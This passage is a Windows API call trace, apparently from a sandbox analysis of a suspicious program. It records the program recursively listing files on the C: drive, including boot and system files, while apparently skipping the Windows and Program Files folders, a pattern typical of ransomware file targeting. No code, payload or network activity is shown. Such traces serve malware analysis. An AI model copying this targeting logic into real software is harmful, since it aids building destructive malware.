1 [0041.520] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.520] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0041.520] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.520] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0041.520] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0041.521] lstrcpyW (in: lpString1=0x5f3050, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0041.521] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.521] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.521] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.521] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0041.521] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0041.521] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.521] lstrlenW (lpString="pt-PT") returned 5 [0041.521] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0041.521] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0041.521] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0041.521] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0041.521] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.521] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.521] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.521] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.521] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.521] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.521] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.521] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0041.521] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.521] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0041.521] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0041.521] lstrcpyW (in: lpString1=0x5fd900, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0041.521] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.523] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.523] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.523] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0041.523] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0041.523] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.523] lstrlenW (lpString="ru-RU") returned 5 [0041.523] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") returned="c:\\Boot\\ru-RU" [0041.523] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0041.523] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0041.523] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0041.523] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.523] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.523] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.523] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.523] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.523] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.523] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.523] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0041.523] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.523] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0041.523] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0041.523] lstrcpyW (in: lpString1=0x5fd960, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0041.523] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.523] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.523] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.523] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0041.523] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0041.523] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.523] lstrlenW (lpString="sv-SE") returned 5 [0041.523] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0041.523] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0041.523] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0041.524] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0041.524] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.524] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.524] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.528] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.528] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0041.528] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.528] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0041.528] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0041.528] lstrcpyW (in: lpString1=0x5fd9a8, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0041.528] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.528] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.528] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.528] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0041.528] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0041.528] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.528] lstrlenW (lpString="tr-TR") returned 5 [0041.528] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0041.528] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0041.528] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0041.528] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0041.528] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.528] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.528] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.528] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.528] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.528] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.528] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.528] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0041.528] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.528] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0041.528] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0041.528] lstrcpyW (in: lpString1=0x5fd9f0, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0041.529] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.529] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.529] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.529] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0041.529] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0041.529] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.529] lstrlenW (lpString="zh-CN") returned 5 [0041.529] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0041.529] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0041.529] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0041.529] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0041.529] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.529] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.529] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.529] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.529] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.529] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.529] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.529] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0041.529] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.529] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0041.529] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0041.529] lstrcpyW (in: lpString1=0x5fda38, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0041.529] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.529] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.529] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.529] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0041.529] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0041.529] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.529] lstrlenW (lpString="zh-HK") returned 5 [0041.529] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0041.529] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0041.529] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0041.529] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0041.529] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.529] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.530] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.530] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.530] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.530] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.530] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.530] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.530] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0041.530] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.530] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0041.530] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0041.530] lstrcpyW (in: lpString1=0x5fda80, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0041.530] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.530] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.530] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.530] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0041.530] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0041.530] lstrlenW (lpString="c:\\Boot\\") returned 8 [0041.530] lstrlenW (lpString="zh-TW") returned 5 [0041.530] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0041.530] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0041.532] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0041.532] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0041.532] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.532] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.532] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.533] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.533] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.533] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.533] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0041.533] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0041.533] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0041.533] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.533] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0041.533] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0041.533] lstrcpyW (in: lpString1=0x5fdac8, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0041.533] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.533] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.533] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0 [0041.533] FindClose (in: hFindFile=0x3b5cd8 | out: hFindFile=0x3b5cd8) returned 1 [0041.533] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.533] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0041.533] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0041.533] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0041.533] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0041.533] lstrlenW (lpString="c:\\") returned 3 [0041.533] lstrlenW (lpString="bootmgr") returned 7 [0041.533] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0041.533] lstrlenW (lpString="c:\\bootmgr") returned 10 [0041.533] lstrcpyW (in: lpString1=0x5fed48, lpString2="c:\\bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0041.533] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.533] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2=".") returned 1 [0041.533] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="..") returned 1 [0041.533] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Windows") returned -1 [0041.533] lstrcmpW (lpString1="BOOTSECT.BAK", lpString2="Program Files") returned -1 [0041.533] lstrlenW (lpString="c:\\") returned 3 [0041.533] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0041.533] lstrcatW (in: lpString1="c:\\", lpString2="BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0041.533] lstrlenW (lpString="c:\\BOOTSECT.BAK") returned 15 [0041.533] lstrcpyW (in: lpString1=0x5fed68, lpString2="c:\\BOOTSECT.BAK" | out: lpString1="c:\\BOOTSECT.BAK") returned="c:\\BOOTSECT.BAK" [0041.533] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.533] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0041.533] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0041.534] lstrcmpW (lpString1="Documents and Settings", lpString2="Windows") returned -1 [0041.534] lstrcmpW (lpString1="Documents and Settings", lpString2="Program Files") returned -1 [0041.534] lstrlenW (lpString="c:\\") returned 3 [0041.534] lstrlenW (lpString="Documents and Settings") returned 22 [0041.534] lstrcatW (in: lpString1="c:\\", lpString2="Documents and Settings" | out: lpString1="c:\\Documents and Settings") returned="c:\\Documents and Settings" [0041.534] lstrcatW (in: lpString1="c:\\Documents and Settings", lpString2="\\" | out: lpString1="c:\\Documents and Settings\\") returned="c:\\Documents and Settings\\" [0041.534] lstrlenW (lpString="c:\\Documents and Settings\\") returned 26 [0041.534] lstrcatW (in: lpString1="c:\\Documents and Settings\\", lpString2="*" | out: lpString1="c:\\Documents and Settings\\*") returned="c:\\Documents and Settings\\*" [0041.534] FindFirstFileW (in: lpFileName="c:\\Documents and Settings\\*", lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0xffffffff [0041.534] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.534] lstrcmpW (lpString1="hiberfil.sys", lpString2=".") returned 1 [0041.534] lstrcmpW (lpString1="hiberfil.sys", lpString2="..") returned 1 [0041.534] lstrcmpW (lpString1="hiberfil.sys", lpString2="Windows") returned -1 [0041.534] lstrcmpW (lpString1="hiberfil.sys", lpString2="Program Files") returned -1 [0041.534] lstrlenW (lpString="c:\\") returned 3 [0041.534] lstrlenW (lpString="hiberfil.sys") returned 12 [0041.534] lstrcatW (in: lpString1="c:\\", lpString2="hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0041.534] lstrlenW (lpString="c:\\hiberfil.sys") returned 15 [0041.534] lstrcpyW (in: lpString1=0x5fed90, lpString2="c:\\hiberfil.sys" | out: lpString1="c:\\hiberfil.sys") returned="c:\\hiberfil.sys" [0041.534] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.534] lstrcmpW (lpString1="pagefile.sys", lpString2=".") returned 1 [0041.534] lstrcmpW (lpString1="pagefile.sys", lpString2="..") returned 1 [0041.534] lstrcmpW (lpString1="pagefile.sys", lpString2="Windows") returned -1 [0041.534] lstrcmpW (lpString1="pagefile.sys", lpString2="Program Files") returned -1 [0041.534] lstrlenW (lpString="c:\\") returned 3 [0041.534] lstrlenW (lpString="pagefile.sys") returned 12 [0041.534] lstrcatW (in: lpString1="c:\\", lpString2="pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0041.534] lstrlenW (lpString="c:\\pagefile.sys") returned 15 [0041.534] lstrcpyW (in: lpString1=0x5fedb8, lpString2="c:\\pagefile.sys" | out: lpString1="c:\\pagefile.sys") returned="c:\\pagefile.sys" [0041.534] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.534] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0041.534] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0041.534] lstrcmpW (lpString1="PerfLogs", lpString2="Windows") returned -1 [0041.534] lstrcmpW (lpString1="PerfLogs", lpString2="Program Files") returned -1 [0041.534] lstrlenW (lpString="c:\\") returned 3 [0041.534] lstrlenW (lpString="PerfLogs") returned 8 [0041.534] lstrcatW (in: lpString1="c:\\", lpString2="PerfLogs" | out: lpString1="c:\\PerfLogs") returned="c:\\PerfLogs" [0041.534] lstrcatW (in: lpString1="c:\\PerfLogs", lpString2="\\" | out: lpString1="c:\\PerfLogs\\") returned="c:\\PerfLogs\\" [0041.534] lstrlenW (lpString="c:\\PerfLogs\\") returned 12 [0041.534] lstrcatW (in: lpString1="c:\\PerfLogs\\", lpString2="*" | out: lpString1="c:\\PerfLogs\\*") returned="c:\\PerfLogs\\*" [0041.535] FindFirstFileW (in: lpFileName="c:\\PerfLogs\\*", lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0xffffffff [0041.535] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.535] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0041.535] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0041.535] lstrcmpW (lpString1="Program Files", lpString2="Windows") returned -1 [0041.535] lstrcmpW (lpString1="Program Files", lpString2="Program Files") returned 0 [0041.535] FindNextFileW (in: hFindFile=0x3b5c98, lpFindFileData=0x36f4d4 | out: lpFindFileData=0x36f4d4) returned 1 [0041.535] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0041.535] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0041.535] lstrcmpW (lpString1="Program Files (x86)", lpString2="Windows") returned -1 [0041.535] lstrcmpW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1 [0041.535] lstrlenW (lpString="c:\\") returned 3 [0041.535] lstrlenW (lpString="Program Files (x86)") returned 19 [0041.535] lstrcatW (in: lpString1="c:\\", lpString2="Program Files (x86)" | out: lpString1="c:\\Program Files (x86)") returned="c:\\Program Files (x86)" [0041.535] lstrcatW (in: lpString1="c:\\Program Files (x86)", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\") returned="c:\\Program Files (x86)\\" [0041.535] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\*") returned="c:\\Program Files (x86)\\*" [0041.535] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\*", lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 0x3b5cd8 [0041.535] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.535] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.535] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.535] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.535] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.535] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0041.535] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0041.535] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.535] lstrlenW (lpString="Adobe") returned 5 [0041.535] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Adobe") returned="c:\\Program Files (x86)\\Adobe" [0041.535] 